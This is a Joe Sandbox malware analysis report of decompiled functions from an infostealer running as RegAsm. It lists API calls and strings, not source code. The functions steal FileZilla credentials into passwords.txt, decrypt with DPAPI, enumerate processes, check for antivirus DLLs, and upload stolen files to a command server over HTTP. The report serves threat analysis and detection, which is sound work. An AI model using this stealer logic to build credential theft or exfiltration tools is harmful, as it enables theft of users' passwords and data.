Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 507856799-4001269591
Opcode ID: 3201426b776385a3cec3b57894168fff0e077abb9657e76df344b0d488c20950
Instruction ID: d89f910ec230dae430ffd6d330d852df9ea80ceecc6bcaa0146556bb21002fe4
Opcode Fuzzy Hash: 3201426b776385a3cec3b57894168fff0e077abb9657e76df344b0d488c20950
Instruction Fuzzy Hash: 75314F71900328AFCB20EF65DD89BDEB3B9AB04304F5045EAF519A3152D7B86EC58F54

Function 0041257F Relevance: 9.0, APIs: 6, Instructions: 37processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00412589
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417E31,.exe,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4), ref: 004125A8
Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
StrCmpCA.SHLWAPI(?), ref: 004125DC
CloseHandle.KERNEL32(00000000), ref: 004125F0

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID:
API String ID: 1799959500-0
Opcode ID: c9d347d910f7b4a70f950499f2b0cdb52079f09d3bb31312a8c8ade1b0a83c2a
Instruction ID: d2a27fa508e6c3a354df25509a6f4190b9582d57abc1eee0c1e907853c614cd1
Opcode Fuzzy Hash: c9d347d910f7b4a70f950499f2b0cdb52079f09d3bb31312a8c8ade1b0a83c2a
Instruction Fuzzy Hash: 3B0162316002249BDB619B60DD44FEA76FD9B14301F8400E6E40DD2251EA798F949B25

Function 004080A1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

DPAPI, xrefs: 004080A9

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID: DPAPI
API String ID: 2068576380-1690256801
Opcode ID: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction ID: 09c146c598fe2db9e3360274f95d94fd5a71afecc77b7c133579c0d37eeb6d97
Opcode Fuzzy Hash: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction Fuzzy Hash: 5901ECB5A01218EFCB04DFA8D88489EBBB9FF48754F158466E906E7341D7719F05CB90

Function 004114A5 Relevance: 6.1, APIs: 4, Instructions: 56processCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00436712,?,?), ref: 004114D4
Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Process32Next.KERNEL32(00000000,00000128), ref: 00411542
CloseHandle.KERNEL32(00000000), ref: 0041154D

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcpy
String ID:
API String ID: 907984538-0
Opcode ID: 6ecd6e103f958e55985b85a8d6cec58a1d4901635c4c4c9a6a92631ed1d39a01
Instruction ID: df159de601ea63d42004a6701442e9789206b56ac97d0af79a31bc2d218e3f7e
Opcode Fuzzy Hash: 6ecd6e103f958e55985b85a8d6cec58a1d4901635c4c4c9a6a92631ed1d39a01
Instruction Fuzzy Hash: FB117371A00214ABDB21EB65DC85BED73A9AB48308F400097F905A3291DB78AEC59B69

Function 00410D2E Relevance: 6.0, APIs: 4, Instructions: 35memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
HeapAlloc.KERNEL32(00000000), ref: 00410D50
GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
wsprintfA.USER32 ref: 00410D7D

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: 8121b2989182859caeafca9d685060af6f757cf6148b1a30633017c65544c455
Instruction ID: 3462f644bc87497e0213169472e2bde5c7d2207eb6d596ae75af8f0473202e49
Opcode Fuzzy Hash: 8121b2989182859caeafca9d685060af6f757cf6148b1a30633017c65544c455
Instruction Fuzzy Hash: 78F0E070A0132467EB04DFB4EC49B9B37659B04729F100295F511D71D0EB759E848785

Function 00410C53 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction ID: a2d0142ef4c2f8337792e91bc85231d42bd55b383edadc254ac7c872ecc74bf6
Opcode Fuzzy Hash: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction Fuzzy Hash: 33D05EB6200208BBD7449BD5EC8DF8E7BBCEB85725F100265FA46D2290DAF099488B34

Function 00410FBA Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00410FD4
wsprintfA.USER32 ref: 00410FEC

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 67b530403a9dc94f78866dc1dd254330b8edc701593f238e5f24d625af2237fc
Instruction ID: 6e5c45132ae1b45d6529ef5bd4d0c5c9796b2e2d3bf3e93bb3fd0621c026135a
Opcode Fuzzy Hash: 67b530403a9dc94f78866dc1dd254330b8edc701593f238e5f24d625af2237fc
Instruction Fuzzy Hash: E8E092B0D1020D9BCF04DF60EC459DE77FCEB08208F4055B5A505E3180D674AB89CF44

Function 004014AD Relevance: 1.3, APIs: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,?,?,?,?,?,00401503,avghookx.dll,00418544), ref: 004014DF

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction ID: b529297655fd12c0b63a16027a5c7bdef515ed443d31e096b8a78f326fd23762
Opcode Fuzzy Hash: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction Fuzzy Hash: C1F08C32A00150EBCF20CF59D804AAAFBB8EB43760F257065E809B3260C334ED11EA9C

Function 00405482 Relevance: 72.3, APIs: 25, Strings: 16, Instructions: 573
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

lstrlenA.KERNEL32(?), ref: 00405519

Part of subcall function 00411E5D: CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,0065E908,?,?,?,004128A1,?,?,00000000), ref: 00411E7D
Part of subcall function 00411E5D: GetProcessHeap.KERNEL32(00000000,?,?,?,?,004128A1,?,?,00000000), ref: 00411E8A
Part of subcall function 00411E5D: HeapAlloc.KERNEL32(00000000,?,?,?,004128A1,?,?,00000000), ref: 00411E91

StrCmpCA.SHLWAPI(?,00436986,0043697B,0043697A,0043696F), ref: 00405588
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004056C0
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00405704
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405736

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

lstrlenA.KERNEL32(?,",file_data,00437850,------,00437844,?,",00437838,------,0043782C,7fb8096dba7218243f8f6f7a994751d3,",build_id,00437814,------), ref: 00405C67
lstrlenA.KERNEL32(?), ref: 00405C7A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00405C92
HeapAlloc.KERNEL32(00000000), ref: 00405C99
lstrlenA.KERNEL32(?), ref: 00405CA6
_memmove.LIBCMT ref: 00405CB4
lstrlenA.KERNEL32(?,?,?), ref: 00405CC9
_memmove.LIBCMT ref: 00405CD6
lstrlenA.KERNEL32(?), ref: 00405CE4
lstrlenA.KERNEL32(?,?,00000000), ref: 00405CF2
_memmove.LIBCMT ref: 00405D05
lstrlenA.KERNEL32(?,?,00000000), ref: 00405D1A
HttpSendRequestA.WININET(?,?,00000000), ref: 00405D2D
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405D6F
InternetReadFile.WININET(?,?,000007CF,?), ref: 00405E26
StrCmpCA.SHLWAPI(?,block), ref: 00405E3B
ExitProcess.KERNEL32 ref: 00405E46

Strings

ERROR, xrefs: 00405D79
------, xrefs: 0040573C
ERROR, xrefs: 00405F2F
block, xrefs: 00405E30
7fb8096dba7218243f8f6f7a994751d3, xrefs: 004059A7
", xrefs: 00405C35
------, xrefs: 004059FF
--, xrefs: 00405600
", xrefs: 0040597B
file_data, xrefs: 00405C09
", xrefs: 0040581B
------, xrefs: 0040589D
------, xrefs: 00405605
build_id, xrefs: 0040594F
------, xrefs: 00405B5D
", xrefs: 00405AD8

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$Internetlstrcpy$Heap$HttpProcess_memmove$AllocOpenRequestlstrcat$BinaryConnectCrackCryptExitFileInfoOptionQueryReadSendString
String ID: ------$"$"$"$"$--$------$------$------$------$7fb8096dba7218243f8f6f7a994751d3$ERROR$ERROR$block$build_id$file_data
API String ID: 2638065154-2934402624
Opcode ID: 728df9254f14c32eb0309421fbc2d51be9a45682cb524dc00f6aca4526101756
Instruction ID: a1f310b16752a75a1e3861b17425502ee47d614580a36b5f1e1f8e1f13a41955
Opcode Fuzzy Hash: 728df9254f14c32eb0309421fbc2d51be9a45682cb524dc00f6aca4526101756
Instruction Fuzzy Hash: 3742E671D401699BDF21FB21DC45ACDB3B9BF04308F0085E6A548B3152DAB86FCA9F98

Function 0040E6CF Relevance: 70.3, APIs: 30, Strings: 10, Instructions: 289
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

strtok_s.MSVCRT ref: 0040E77E
GetProcessHeap.KERNEL32(00000000,000F423F,00436912,0043690F,0043690E,0043690D), ref: 0040E7C4
HeapAlloc.KERNEL32(00000000), ref: 0040E7CB
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040E7DF
lstrlenA.KERNEL32(00000000), ref: 0040E7EA
StrStrA.SHLWAPI(00000000,<Port>), ref: 0040E81E
lstrlenA.KERNEL32(00000000), ref: 0040E829
StrStrA.SHLWAPI(00000000,<User>), ref: 0040E857
lstrlenA.KERNEL32(00000000), ref: 0040E862
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040E890
lstrlenA.KERNEL32(00000000), ref: 0040E89B
lstrlenA.KERNEL32(?), ref: 0040E901
lstrlenA.KERNEL32(?), ref: 0040E915
lstrlenA.KERNEL32(0040ECBC), ref: 0040EA3D

Part of subcall function 00416E97: CreateThread.KERNEL32(00000000,00000000,00416DC6,?,00000000,00000000), ref: 00416F36
Part of subcall function 00416E97: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F3E

Strings

Password: , xrefs: 0040E9AE
<Host>, xrefs: 0040E7D9
<User>, xrefs: 0040E851
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040E71F
<Port>, xrefs: 0040E818
passwords.txt, xrefs: 0040EA4D
Soft: FileZilla, xrefs: 0040E948
Host: , xrefs: 0040E954
<Pass encoding="base64">, xrefs: 0040E88A
Login: , xrefs: 0040E98C

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$AllocFile$CreateHeapLocallstrcat$CloseFolderHandleObjectPathProcessReadSingleSizeThreadWaitstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 4146028692-935134978
Opcode ID: daf18828ca77f1c77d3f07f28c52861645635e7fac20ced428b2830730ead7d9
Instruction ID: 2e9f852a615408e756f1d7d3730d5668bfc6bf7d6dc94c0724fe4efb67adb4f0
Opcode Fuzzy Hash: daf18828ca77f1c77d3f07f28c52861645635e7fac20ced428b2830730ead7d9
Instruction Fuzzy Hash: 6FA17572A40219BBCF01FBA1DD4AADD7775AF08305F105426F501F30A1EBB9AE498F99

Function 00406BB5 Relevance: 63.6, APIs: 20, Strings: 16, Instructions: 598
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406C54
StrCmpCA.SHLWAPI(?), ref: 00406C72
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406E0A
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00406E4E
lstrlenA.KERNEL32(?,",status,00437998,------,0043798C,",task_id,00437978,------,0043796C,",mode,00437958,------,0043794C), ref: 0040753C
lstrlenA.KERNEL32(?), ref: 0040754B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407556
HeapAlloc.KERNEL32(00000000), ref: 0040755D
lstrlenA.KERNEL32(?), ref: 0040756A
_memmove.LIBCMT ref: 00407578
lstrlenA.KERNEL32(?), ref: 00407586
lstrlenA.KERNEL32(?,?,00000000), ref: 00407594
_memmove.LIBCMT ref: 004075A1
lstrlenA.KERNEL32(?,?,00000000), ref: 004075B6
HttpSendRequestA.WININET(00000000,?,00000000), ref: 004075C4
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00407621
InternetCloseHandle.WININET(00000000), ref: 0040762C
InternetCloseHandle.WININET(?), ref: 00407638
InternetCloseHandle.WININET(?), ref: 00407644
